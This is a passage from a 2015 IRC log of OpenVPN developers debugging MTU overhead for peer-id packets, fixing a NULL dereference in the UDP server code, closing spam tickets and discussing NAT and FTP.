tun-mtu to link-mtu... 02:26 <@cron2_> overhead 02:27 <@cron2_> (and backtracking from "this is the maximum size UDP packet the client is supposed to send" (=link-mtu) to usable tun-mtu *will* give us 3 byte less with V2...) 02:55 <@plaisthos> cron2_: link-mtu is a worse case 02:55 <@cron2_> why? 02:57 <@plaisthos> in the case of compression 02:58 <@plaisthos> and for compression, if the compressed packet is bigger than the original, we send out the original 02:59 <@cron2_> yes, but that's not really different from "non-compressed packet" in the first place, right? 02:59 <@cron2_> (there might be 1 extra compression opcode I'm overlooking) 03:01 <@cron2_> slightly changing topic: which evenings will work for you for a meeting? 03:01 <@plaisthos> cron2_: the opcode will change link-mtu 03:02 <@plaisthos> a config with a compression option has +1 link-mtu compared to one without it 03:02 <@cron2_> mmh, yes, you said that - tun-mtu + <offset depending on options> = link-mtu 03:03 <@cron2_> so how's that done today? tun-mtu = 1500, link-mtu = unset, and initialized from tun-mtu + <...>? 03:11 <@plaisthos> cron2_: yes 03:12 <@plaisthos> +size of hash + size of iv + tls-auth + compression opcode + things I probably forgot about 03:14 <@cron2_> ok 03:14 <@cron2_> still leaves the question of what to do... 03:15 <@cron2_> we could silently bump up the link-mtu by +3 *after* OCC has taken place if we receive a peer-id option 03:15 <@plaisthos> yes 03:15 <@plaisthos> for automatic link-mtu that is fine 03:15 <@plaisthos> what if the user specifies link-mtu in the config because that the maximum allowed on his network? 03:16 <@plaisthos> do tun-mtu-3? 03:16 <@plaisthos> send v1 packets? 03:16 <@cron2_> in that case, tun-mtu goes down 3 bytes - or v1 03:16 <@cron2_> yes 03:17 <@cron2_> this is really the question: do we want fallback to v1 packets if the packet is too big for v2 (but would fit into v1) - or document that "if you have fiddled with -mtu, -fragment and -mssfix options, you might need to adjust" 03:21 <@plaisthos> I would like the last option better 03:22 <@plaisthos> otherwise we have a very rare and obscure codepath that gets used almost never 03:22 <@cron2_> yeah, the first one would be a "compatibility hack" and we have way too many of those already 03:23 <@cron2_> it might actually be used more often than we think - like "POST on https sites", that can easily be full-mtu uncompressible packets 03:24 <@cron2_> but from what I hear from James and Syzzer, we really want to go to TPACKET_V2 always one day... so "option b" would be necessary anyway 03:29 <@cron2_> lol, I'm sitting in a talk about segment routing right now, and they are talking about MTU increase, and "packets increasing MTU size" :) 03:29 <@cron2_> exceeding 03:29 <@cron2_> (their answer is "make sure the backbone MTU is large enough!") 03:56 <@cron2_> syzzer: do you have time to look into option B, aka "modify the link-mtu +3 only after peer-id has been received so OCC works out, and document the new caveats"? 04:01 <@plaisthos> I would do something like 04:01 <@plaisthos> hm 04:02 <@plaisthos> calculate the v2 mtu, compare it with the link-mtu set in the config manually and complain/warn if tun-mtu/link-mtu mismatch with +3 04:02 <@plaisthos> or something like this 04:03 <@cron2_> for manually set link-mtu this sounds like a good plan, yes 04:48 <@syzzer> cron2_: no, probably not :( preparing to head out for a week snowboarding this saturday, so currently stressing to get stuff arranged and fixed before my leave... 04:50 <@syzzer> oh, and the aead stuff does not require V2 packets 05:09 <@cron2_> syzzer: enjoy :) 05:36 <@plaisthos> syzzer: have fun! 05:57 < lev__> if I got it right, here https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/push.c#L494 we could check options->use_peer_id and adjust c->c2.frame if needed 05:57 <@vpnHelper> Title: openvpn/push.c at master · OpenVPN/openvpn · GitHub (at github.com) 05:58 < lev__> that code handles push_reply which contains peer_id, so client could make a decision there about mtu 06:22 < lev__> for the server side it is probably in key_method_2_read when we check options consistency, but there we don't have c->c2.frame. One could pass it from check_tls_dowork across 3 stack frames.. 06:26 -!- dazo_afk is now known as dazo 07:34 <@cron2_> I think I'd just leave out the "+3" out of the advertised link-mtu, and add it later when we receive peer-id (on the client) and/or decide to send V2 packets (on the server), and document that 07:34 <@cron2_> that should be least intrusive but I haven't checked yet, that code is... complicated, need to look in more detail 07:40 < lev__> cron2_: "leave out" - you mean we keep original fix and make client send link-mtu as value-3? 07:42 <@cron2_> we turn around original fix a bit to add +3 into internal calculation only after we know that peer-id is requested 07:42 <@cron2_> so OCC link-mtu (which happens before push) is still "unchanged" 07:42 <@cron2_> I'm not sure this actually works out, though, as I don't fully understand the code 07:49 <@syzzer> that will depend on when the buffers are initialized, because the +3 is needed to make the buffers large enough to deal with max-size packets 07:50 <@cron2_> ack 07:50 <@cron2_> OTOH I'm willing to just size the buffers +3 always (and not use that if not needed) if this is what is needed :-) 08:02 -!- dazo is now known as dazo_afk 08:13 -!- dazo_afk is now known as dazo 09:53 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 09:56 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 09:56 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:50 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:56 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 13:56 -!- EvilJStoker_ is now known as EvilJStoker 14:26 -!- yeik [~jket@2601:7:6881:4700:fab1:56ff:feb8:524a] has joined #openvpn-devel 14:27 < yeik> in the sources folder of the openvpn-build/generic repository, does the source have to be a tar file or can it be a git submodule? 14:48 <@dazo> yeik: I've not used that method in many years, but it might require it to be a tarball ... however, if you're able to make it work with a git submodule, that'd be a great step forward! 14:49 <@dazo> if changes are needed, please feel free to submit them to the -devel mailing list ... just ensure it also works with tarballs somehow too 14:49 < yeik> so how do most people build windows builds? 14:49 < yeik> err that was redundant. 14:49 <@dazo> I believe using that builder ... but I never build for windows ;-) 14:49 <@dazo> but I believe it can be used for non-windows too (at least it could earlier on) 15:03 -!- mattock is now known as mattock_afk 15:15 -!- dazo is now known as dazo_afk 16:12 < yeik> yeah, it works for almost every arch i think. I am not sure if it builds packages though, rpm, etc. 16:18 < yeik> is there any configuration that you can change the tap adapter that is being used, ie tap0901 or is that just the variable inside the .m4 file? 17:24 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 17:24 < wowaname> oh i found it 18:22 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 18:26 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:26 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Jan 30 2015 00:41 -!- mattock_afk is now known as mattock 02:00 <@cron2_> mattock: good morning. Could you check why ipv6-pinging forums.openvpn.net is not working? 02:00 <@mattock> cron2_: yeah, not right now but soonish 05:59 -!- dazo_afk is now known as dazo 07:30 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Remote host closed the connection] 07:32 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 08:01 <@vpnHelper> RSS Update - tickets: #507: Die besten Lebensmittel zu essen, um Gewicht zu verlieren: Ultra Thin Complete Pillen Zutaten für Fette Leute <https://community.openvpn.net/openvpn/ticket/507> 08:25 <@plaisthos> I cannot close #507 because my close as spam is rejected as spam 08:28 <@mattock> plaisthos: I'll have a look 08:28 <@plaisthos> just close it as spam :) 08:28 <@mattock> ok 08:30 <@mattock> done 08:30 <@vpnHelper> RSS Update - tickets: #507: Spam that was renamed to prevent anyone getting the benefits of the free ad <https://community.openvpn.net/openvpn/ticket/507> 08:36 <@mattock> cron2: ping6 to forums seems to work, so I suspect it was just a glitch in the tunnel 08:37 <@mattock> didn't have time to do anything about it 08:37 <@vpnHelper> RSS Update - tickets: #507: Spam <https://community.openvpn.net/openvpn/ticket/507> 08:37 <@cron2_> yes, now it works from here as well. Firewall, like "incoming tunnel only allowed if an outgoing tunnel packet has established state"? 09:08 <@mattock> no clue, I have not setup pf on that node, and I'm not sure if the tunnelbroker does something funky there 09:45 <@cron2_> any other stuff? ipf, ipfw, firewall before the VM? 09:56 <@mattock> well, actually, EC2 could do something, not sure 09:57 <@mattock> ecrist will know the details about a local firewall, if any 14:06 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 15:28 -!- dazo is now known as dazo_afk 15:39 -!- mattock is now known as mattock_afk --- Day changed Sat Jan 31 2015 05:34 -!- mattock_afk is now known as mattock 05:41 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 05:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:29 <@vpnHelper> RSS Update - tickets: #508: Die Gedumoxin Und Rexitamol Pillen ist für Ihre Gesundheit <https://community.openvpn.net/openvpn/ticket/508> 09:06 < esde> more spam. 12:54 <@vpnHelper> RSS Update - tickets: #509: FTP does not work on OpenVPN with NAT (Windows). <https://community.openvpn.net/openvpn/ticket/509> 12:57 <@cron2_> mattock: can you kill #508 please? 12:59 <@plaisthos> can we close 509 with "not our problem"? 13:00 <@cron2_> since there is no NAT at all in Windows, I think it is - this smells like "openvpn client nat" 13:00 <@cron2_> (and I'm fairly sure it doesn't support FTP or any other protocol needing a helper) 13:07 <+krzee> sure there is NAT in windows 13:07 <+krzee> !factoids whatis #openvpn winnat 13:07 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8 13:08 <+krzee> ive never done it, but others that have come through #openvpn have 13:10 <+krzee> lol at 509 being set to major :D 13:13 <+krzee> i closed it with: "Openvpn does not replace addresses for any applications, that is unrelated to what a vpn is. openvpn simply gives a tunnel which packets may be routed over. it is your job to configure applications such as ftp, not openvpn's." 13:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has left #openvpn-devel [] 13:49 <@cron2_> krzee: please do understand what you're talking about before commenting in public - OpenVPN *does* have NAT built-in 13:50 <@cron2_> see the --client-nat option in "man openvpn" 13:59 <@cron2_> (OTOH, the win XP factoid is truly interesting, and could possibly even be applied to an OpenVPN tap interface) 14:04 <+krzee> not just could, it has been 14:04 <+krzee> i do understand what im talking about, there is both NAT in windows *and* nat in openvpn 14:06 <+krzee> but iirc winxp requires a certain common subnet for the client lan when doing NAT, which iirc was annoying so the openvpn method may be better for xp users 14:09 <+krzee> but good point, if hes using --client-nat then its a valid ticket 14:12 <+krzee> my big clue that its not openvpn's issue is " On Linux one can use ip_conntrack_ftp but on windows there isn't such solution." 15:06 <@pekster> OpenVPN's NAT option is more similar to the NETMAP target (see: iptables-extensions(8)) than anything else, and designed for were (by bad network numbering, or strange fluke) there is a collision of networks 15:07 <@pekster> This said, one can do that in the OS of sane-OSes, but it's somewhat convenient to have it in openvpn on one hand. On the other hand, if it wasn't already there today, it might be one of those "do we really need openvpn to do X" discussions as we should carefully think about when duplicating what's usually expected of the OS 15:08 <@pekster> But yea, 1:1 NAT support won't be related to FTP issues at any rate (and I don't think anyone here wants openvpn messing in L7) 15:09 <@pekster> Beyond --port-share... 15:19 -!- mattock is now known as mattock_afk 15:29 <@ecrist> what did I do? 15:51 <@cron2_> ecrist: community.openvpn.net occasionally loses IPv6 connectivity for a while. Does it have firewall stuff/stateful packet filtering? 15:52 <@cron2_> pekster: well, active FTP needs the NAT to mess with l7 info to rewrite PORT command... 16:02 <@pekster> Not 1:1 NAT: that just works 16:03 <@pekster> The deal with FTP & NAT is that NAT-Overload setups (which IIRC openvpn will _not_ do today, nor should it) requires matching the return inbound request to one of the >1 client IPs associated with the single public IP 16:03 <@pekster> Shouldn't have any bearing on --client-nat though 16:09 <@cron2_> pekster: no, it won't. PORT command has explicit IP address in it, so when you change IP header, you also need to change payload. 16:09 <@cron2_> Now, passive FTP only transmits port number - which works nicely 16:10 <@pekster> Ah, sure. Still leaves any encrypted form broken, but FTP is largely "broken" (functionality wise, not security wise) anyway :P 16:11 <@pekster> Needs a new plugin: openvpn-mitm-ftps-nat.so ;) 16:13 <@cron2_> I agree, and this is why I'm not overly interested in supporting FTP, SIP, or the like in OpenVPN-NAT - these protocols are going to die anyway (FTP), or can cope with stupid-NAT (SIP) 16:14 <@pekster> Right, and if users need that, they can & should just deal with the NAT in the OS 16:15 <@pekster> I haven't tried it with actually overlapping networks, but I'm guessing PF's bimap & Netfilter's NETMAP handle that nicely 16:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 16:25 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:26 <@ecrist> cron2_: no firewall I'm aware of 16:26 <@ecrist> but, it's not *real* IPv6, it's a tunnel from HE 16:27 <@ecrist> so it's possible the tunnel goes down once in a while 16:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 16:48 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 256 seconds] --- Log closed Sat Jan 31 19:43:01 2015 --- Log opened Thu Feb 05 17:20:22 2015 17:20 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 17:20 -!- Irssi: #openvpn-devel: Total of 26 nicks [10 ops, 0 halfops, 2 voices, 14 normal] 17:20 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 17:20 -!- Irssi: Join to #openvpn-devel was synced in 11 secs 17:38 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 21:49 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Remote host closed the connection] 21:52 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 23:28 -!- mattock_afk is now known as mattock --- Day changed Fri Feb 06 2015 01:07 -!- mattock is now known as mattock_afk 01:57 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Remote host closed the connection] 01:59 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 02:56 -!- mattock_afk is now known as mattock 03:05 < lev__> under what circumstances recvmsg returns -1 on udp socket? 03:15 < lev__> I found a bug in server implementation of peer-id, https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/mudp.c#L61 BPTR returns NULL if buf.len = -1 and we got NULL dereference (checked with gdb). I'd like to reproduce it but not sure how to do it. 03:15 <@vpnHelper> Title: openvpn/mudp.c at master · OpenVPN/openvpn · GitHub (at github.com) 03:20 <@cron2> lev__: if you send a packet out and that hits an ICMP error ("host unreachable"), I think you can end up with the error message in the *next* recvmsg() 04:09 < lev__> cron2: how I can reproduce it with openvpn server (as recvmsg caller) ? 04:13 <@cron2> lev__: this is good question, most likely you'll need to fiddle with routing/firewalling in between - this might work: install (while the client is already connected) a firewall rule on the OUTPUT chain that drops traffic to the client with "-j REJECT" or what it's called - that should send back an "ICMP administratively prohibited" and that *should* trigger it the next time the server wants to send anything 04:27 -!- mattock is now known as mattock_afk 04:28 < lev__> with that I see "write UDP: Operation not permitted", but len is not -1 (14) 04:38 <@cron2> so what is len? 04:40 < lev__> len is 14 04:43 <@cron2> what does "man recvmsg" say on your system? (I'm not checking here, as NetBSD and Linux might have different ideas on return codes) 04:49 < lev__> I have ubuntu 14.04, about "-1" it says "f no messages are available at the socket, the receive calls wait for a message to arrive, unless the socket is nonblocking (see fcntl(2)), in which case the value -1 is returned and the external variable errno is set to EAGAIN or EWOULDBLOCK. 04:49 < lev__> and These calls return the number of bytes received, or -1 if an error occurred. In the event of an error, errno is set to indicate the error. The return value will be 0 when the peer has performed an orderly shutdown. 04:50 <@cron2> *rub eyes* 04:51 <@cron2> you see the error already in "write UDP" - modern OSes are so evil (the firewall rejection is reflected back all the way to the write() call, so it's not even sending out a packet that would be rejected anyway) 04:51 <@cron2> you might need to do it on the other side - add an INPUT rule on the client that rejects the packet, so the write() succeeds but the ICMP error hits the next recvmsg() 04:52 <@cron2> sorry 05:09 * lev__ still has no luck 05:28 <@cron2> are ICMPs incoming? 05:30 < lev__> with client-side iptables modification no any messages 05:41 <@cron2> just dropping packets won't work, you need to send ICMPs back (and the server needs to be able to receive them, so no firewalls dropping ICMP in between) - I think it's -j REJECT, but maybe I'm misremembering 05:51 -!- mattock_afk is now known as mattock 06:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 06:05 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Ping timeout: 250 seconds] 06:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 06:06 -!- yeik [~jket@2601:7:6881:4700:fab1:56ff:feb8:524a] has quit [Ping timeout: 265 seconds] 06:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 06:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:10 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 245 seconds] 06:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Client Quit] 06:14 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 06:14 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 06:19 -!- Netsplit *.net <-> *.split quits: EvilJStoker, @dazo_afk, lev__, siruf 06:19 -!- siruf_ is now known as siruf 06:19 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:20 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 06:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:20 -!- ServerMode/#openvpn-devel [+o dazo_afk] by barjavel.freenode.net 07:14 <@cron2> lev__: so you found it? 07:17 * cron2 wonders - this is not actually a peer-id issue, as it looks, but more a generic "if there is a -1 in the exactly right spot", no? 07:18 <@cron2> you could trigger it manually by pretending to have seen -1 at the readmsg() call ("if random()%100 = 1 ...") 07:34 < lev__> cron2: no I wasn't able to reproduce it. It didn't happen before since only place buf was read was in tls_pre_decrypt_lite, where that check exists 07:36 < lev__> I think there is no point to process a packet of an imaginary length 07:38 <@cron2> lev__: definitely correct :-) - I admit I did not look too closely on how the code looked beforehand, so I assumed the "op = ptr[0] >> P_OPCODE_SHIFT" would have been hit previously as well - forgot the refactoring 07:46 <@cron2> plaisthos: are you here? 08:13 < lev__> cron2: do you happen to remember why this patch https://github.com/OpenVPN/openvpn/commit/e719a0535345db8f0781c0b80408ca5417597469 (preresolve) is not in 2.3.6 ? 08:13 <@vpnHelper> Title: Introduce an option to resolve dns names in advance for --remote, --loca... · e719a05 · OpenVPN/openvpn · GitHub (at github.com) 08:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:14 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Remote host closed the connection] 09:15 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 09:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:38 < lev__> cron2: tested that fix with random() hack, looks good 10:24 <@cron2> lev__: because that patch is extremely intrusive and we don't do massive changes in 2.3.x (plus, it needs underlying infrastructure which was changed as part of the *very* intrusive dual-stack patch series) 10:55 < lev__> cron2: that's for 2.4 10:58 < lev__> cron2: oh, I thought you are talking about my fix :) 10:58 < lev__> right 12:27 <@cron2> your fix also does not go into 2.3.x :-) (because the bug isn't in there either) 13:15 <@vpnHelper> RSS Update - gitrepo: Fix NULL dereferencing <https://github.com/OpenVPN/openvpn/commit/2350d709e4d3c28d8850b5106169d799fdad5a29> 13:31 < esde> neat^ 13:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 13:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:17 -!- mattock is now known as mattock_afk 15:42 * cron2 reads mtu.h and goes crazy - half the comments and half the macros seem "weird" 15:49 <@cron2> lev__: what have you currently running on your server? I get completely weird link-mtu from you 15:49 <@cron2> Fri Feb 6 22:48:45 2015 us=685890 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1541', remote='link-mtu 1548' 15:50 <@cron2> how do you get to 1548? I can have 1541 (no compression), 1542 (comp-lzo) or 1545 (comp-lzo plus syzzer's +3 patch)... 15:55 <@cron2> (and I can't ping you anymore) 16:01 < lev__> cron2: I use fragment, mssfix and no compression 16:02 < lev__> I'll remove those and put lzo back 16:02 <@cron2> ah, fragment 16:02 <@cron2> yeah, please do :-) - I think I know how to tackle this, and now "just" need to test it 16:03 <@cron2> please leave out lzo for now, so I can more easily trigger a full size packet 16:03 <@cron2> (mssfix is not affecting mtu, so "don't care") 16:09 <@cron2> lev__: you seem to still have lzo on (and it's the +3 code base, right?) 16:09 <@cron2> Fri Feb 6 23:08:47 2015 us=969221 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1541', remote='link-mtu 1545' 16:11 < lev__> done 16:12 <@cron2> Fri Feb 6 23:12:27 2015 us=879103 TCP/UDP packet too large on write to [AF_INET]128.199.52.117:1194 (tried=1544,max=1541) 16:12 < lev__> no lzo, +3 is there (I run latest master, 2350d709e4d3c28d8850b5106169d799fdad5a29) 16:13 <@cron2> ok, I can reproduce the problem, and will cook up a new patch tomorrow 16:14 < lev__> ping me in gmail if you need something, I check irc time to time 16:14 <@cron2> (send unchanged link-mtu in OCC, adjust frame->link_mtu and frame->extra_frame accordingly 16:14 <@cron2> lev__: will do, but first I need to think and code (and there is family around) 16:23 < lev__> lev__: test 21:12 < esde> cron2? --- Day changed Sat Feb 07 2015 02:22 <@cron2> esde: yes? 02:37 * cron2 wonders if we should just refuse to do peer-id if a user configured link-mtu 04:52 -!- dazo_afk is now known as dazo 05:16 -!- dazo is now known as dazo_afk 05:37 <@cron2> mattock: is it my eyes, or do we have two builds of "--disable-lzo" these days? 05:39 <@vpnHelper> RSS Update - gitrepo: Fix mismatch of fprintf format specifier and argument type <https://github.com/OpenVPN/openvpn/commit/251c17a0bc55db59b91338d8f306144182755aa4> 06:10 <@cron2> lev__: is your server talking IPv6? The hostname has v6, but I can't get an answer from it 06:13 < lev__> cron2: ipv6 vpn setup is missing, let me add it 06:16 < lev__> cron2: how about now 06:17 <@cron2> not talking to me 06:17 <@cron2> Sat Feb 7 13:17:36 2015 us=568655 UDP link remote: [AF_INET6]2a03:b0c0:2:d0::20a:7001:1194 06:20 < lev__> proto udp6 was missing, try now 06:22 <@cron2> works, but I'll actually revert to IPv4 to understand what is happening right now... 06:25 <@cron2> when I try to send a full-sized frame - which should trigger "TCP/UDP packet too big" - I now send out stuff, and ge tback a "packet HMAC authentication failed" 06:25 <@cron2> wtf 06:26 <@cron2> if you "ping -c1 -s 1500 10.8.0.10", what happens? 06:27 < lev__> 100% loss 06:27 < lev__> compression off, btw 06:27 <@cron2> I think your packet was eaten by my firewall "fragments bad!" 06:29 <@cron2> but need to stop testing now, kids going to carnival party now - will test more tonight 06:29 < lev__> I can ping my android client with same settings 06:31 <@cron2> I'm not fully sure I understand what is happening. I should see an error sending out the packet (reverted syzzer's patch, not yet modifying link_mtu myself), but seems my side is just ignoring link_mtu and sending bigger packets 06:31 <@cron2> (this is on "master" code base, will also have to test 2.3 with the patch reverted) 06:31 * cron2 smells surprises 06:31 <@cron2> anyway, not now 06:31 <@cron2> *wave* 06:52 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:43 <@cron2> lev__: does your side have --fragment enabled? 11:44 <@cron2> ah 11:44 <@cron2> no 11:44 <@cron2> weird 11:45 <@cron2> Sat Feb 7 18:45:35 2015 us=417397 TCP/UDP packet too large on write to [AF_INET]128.199.52.117:1194 (tried=1544,max=1541) 11:45 <@cron2> ok, here we go... :) 11:45 < lev__> cron2: nope, config here http://pastebin.com/B3TZdMX0 11:47 <@cron2> yes, OCC would tell me (and doesn't), this was all purely local - I still don't understand what OpenVPN did, but it nicely adhered to link-mtu 1200 (testing) and the OS fragmented the packets into the tunnel 11:47 <@cron2> I think syzzer mentioned that crypto padding can actually hide this "too large" problem due to crypto padding (or not), so I think I might have accidently hit that 11:48 <@cron2> yep 11:48 <@cron2> good 11:48 <@cron2> I can now reproduce at will, so now I can go and actually fix it :) 11:52 <@cron2> and that is interesting as well, if my link-mtu is too small, OpenVPN ignores larger incoming packets (or the "remainder of the packet") and thus I get HMAC auth fails 11:54 <@cron2> Sat Feb 7 18:53:32 2015 us=281465 tun packet too large on write (tried=1500,max=1497) 11:54 <@cron2> yep :) 11:55 <@cron2> (this is what happens if you enforce --link-mtu 1541 -> it will reduce tun-mtu by -3, and if the other end sends 1500 packets now, boom. But this is to be expected, the alternative is "if -link-mtu is set, refuse to enable --peer-id" 12:52 <@cron2> so, patch has been sent to openvpn-devel list. Lev__, if you feel like staring at it and wondering :-) - feel free to give it a go. Thus buffer stuff is magic (mtu.h, mtu.c)... 12:53 <@cron2> I think it is a) safe (buffers are always large enough) and b) correct - if link-mtu is set by config, we honour that and reduce tun-mtu accordingly, and if link-mtu is not set, we bump up the default value +3 (and that is what is in OCC) 12:54 <@cron2> so the patched code now prints OCC warnings with current master, but is safe with "old servers" or "old clients" 13:00 <@cron2> lev__: I think there might be a bug lurking in the "push peer-id..." (push.c) if the line is too long and continuation is needed 13:01 <@cron2> I think the peer-id pushing needs to go up before the while(e) loop, while there is still plenty of space in the buffer 13:01 * lev__ still sees nothing on the list 13:02 <@cron2> list is slow :( - I'll bounce you the mail 13:04 <@cron2> ah... it's still stuck in greylisting... *sigh* - but anyway, you should have it now, and plaisthos and syzzer are missing in action anyway :) 13:05 * cron2 goes -> sofa 13:07 < lev__> cron2: nice, I'll stare at the code and do some testing 13:45 < lev__> cron2: what user can do with "expect mtu problems" message? 14:07 < lev__> cron2: I get HMAC auth failed with ping size >= 1472, patched server and client 14:30 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has quit [Remote host closed the connection] 14:31 -!- wowaname [~wow@gateway/tor-sasl/wowaname] has joined #openvpn-devel 15:09 <@cron2> lev__: regarding the "expect mtu problems" -> well, "do not use link-mtu, or if you do, use fragment/mssfix in addition". Maybe the wording can be improvide 15:12 <@cron2> as for the HMAC auth failure - that is a bit weird. I saw that with your unpatched server and assumed it was due to the incoming packet being larger than link-mtu, and thus the read() being incomplete 15:12 <@cron2> but that should not happen if server and client agree on link-mtu 15:29 < lev__> well server seems to be patched, and I got HMAC fails from client12 (as well as own patched client) 16:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 16:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:40 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 17:42 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:00 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 18:01 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:02 -!- mode/#openvpn-devel [+o pekster] by ChanServ 19:41 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 19:43 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+o pekster] by ChanServ 23:13 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 276 seconds] 23:14 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel --- Day changed Sun Feb 08 2015 02:01 <@cron2> lev__: I think I know where the problem is. What I did is the right patch for the *client* side, but the server side link-mtu will stay too small, and that is used for rcvmsg(), I think - so the server is not receiving the full packet 02:02 <@cron2> could you change the frame_add_to_extra_buffer() call in the patch to frame_add_to_extra_link(&c->c2.frame, 3) and test that? (init.c, about line 2420) 02:03 <@cron2> forard.c, read_incoming_link() will request "link-mtu + extra_link" bytes... 02:53 <@syzzer> ah, I see you are enjoying the buffer magic as well 02:54 <@syzzer> I've been fighting it for the GCM stuff too 03:10 -!- dazo_afk is now known as dazo 03:27 -!- dazo is now known as dazo_afk 03:29 < lev__> cron2: replaced extra_buffer with extra_link on the server side and tested peer-id/non-peer-id client/server, looks good 03:29 < lev__> haven't tried adjusting mtu, though 04:07 <@cron2> should work as well, as long as you use tun-mtu on both sides. If you force link-mtu on both sides, OCC handshake will be fine, and then full-sized packets server->client will fail 04:08 <@cron2> (so one could argue that setting link-mtu should lead to peer-id deactivation...) 04:10 -!- mattock_afk is now known as mattock 04:19 <@cron2> new patch sent 04:19 <@cron2> mattock: are we having a meeting tomorrow? 04:24 <@syzzer> I can be present tomorrow 04:40 <@cron2> syzzer: still snowboarding, or back home? 04:41 <@syzzer> back home, since last night 04:41 <@cron2> I envy you! That's one of the drawbacks of family life (*and* being a freelancer) - "just taking a week off" is not really possible 04:47 <@vpnHelper> RSS Update - tickets: #513: Bonjour networking support <https://community.openvpn.net/openvpn/ticket/513> 04:48 <@syzzer> cron2: yeah, I'm enjoying it while I can :) 04:49 <@cron2> I got 2 hours of snowboarding this year! Much better than nothing :-) 04:52 <@syzzer> when you can find the time again, I can really recommend the dolomites. Was there for the first time 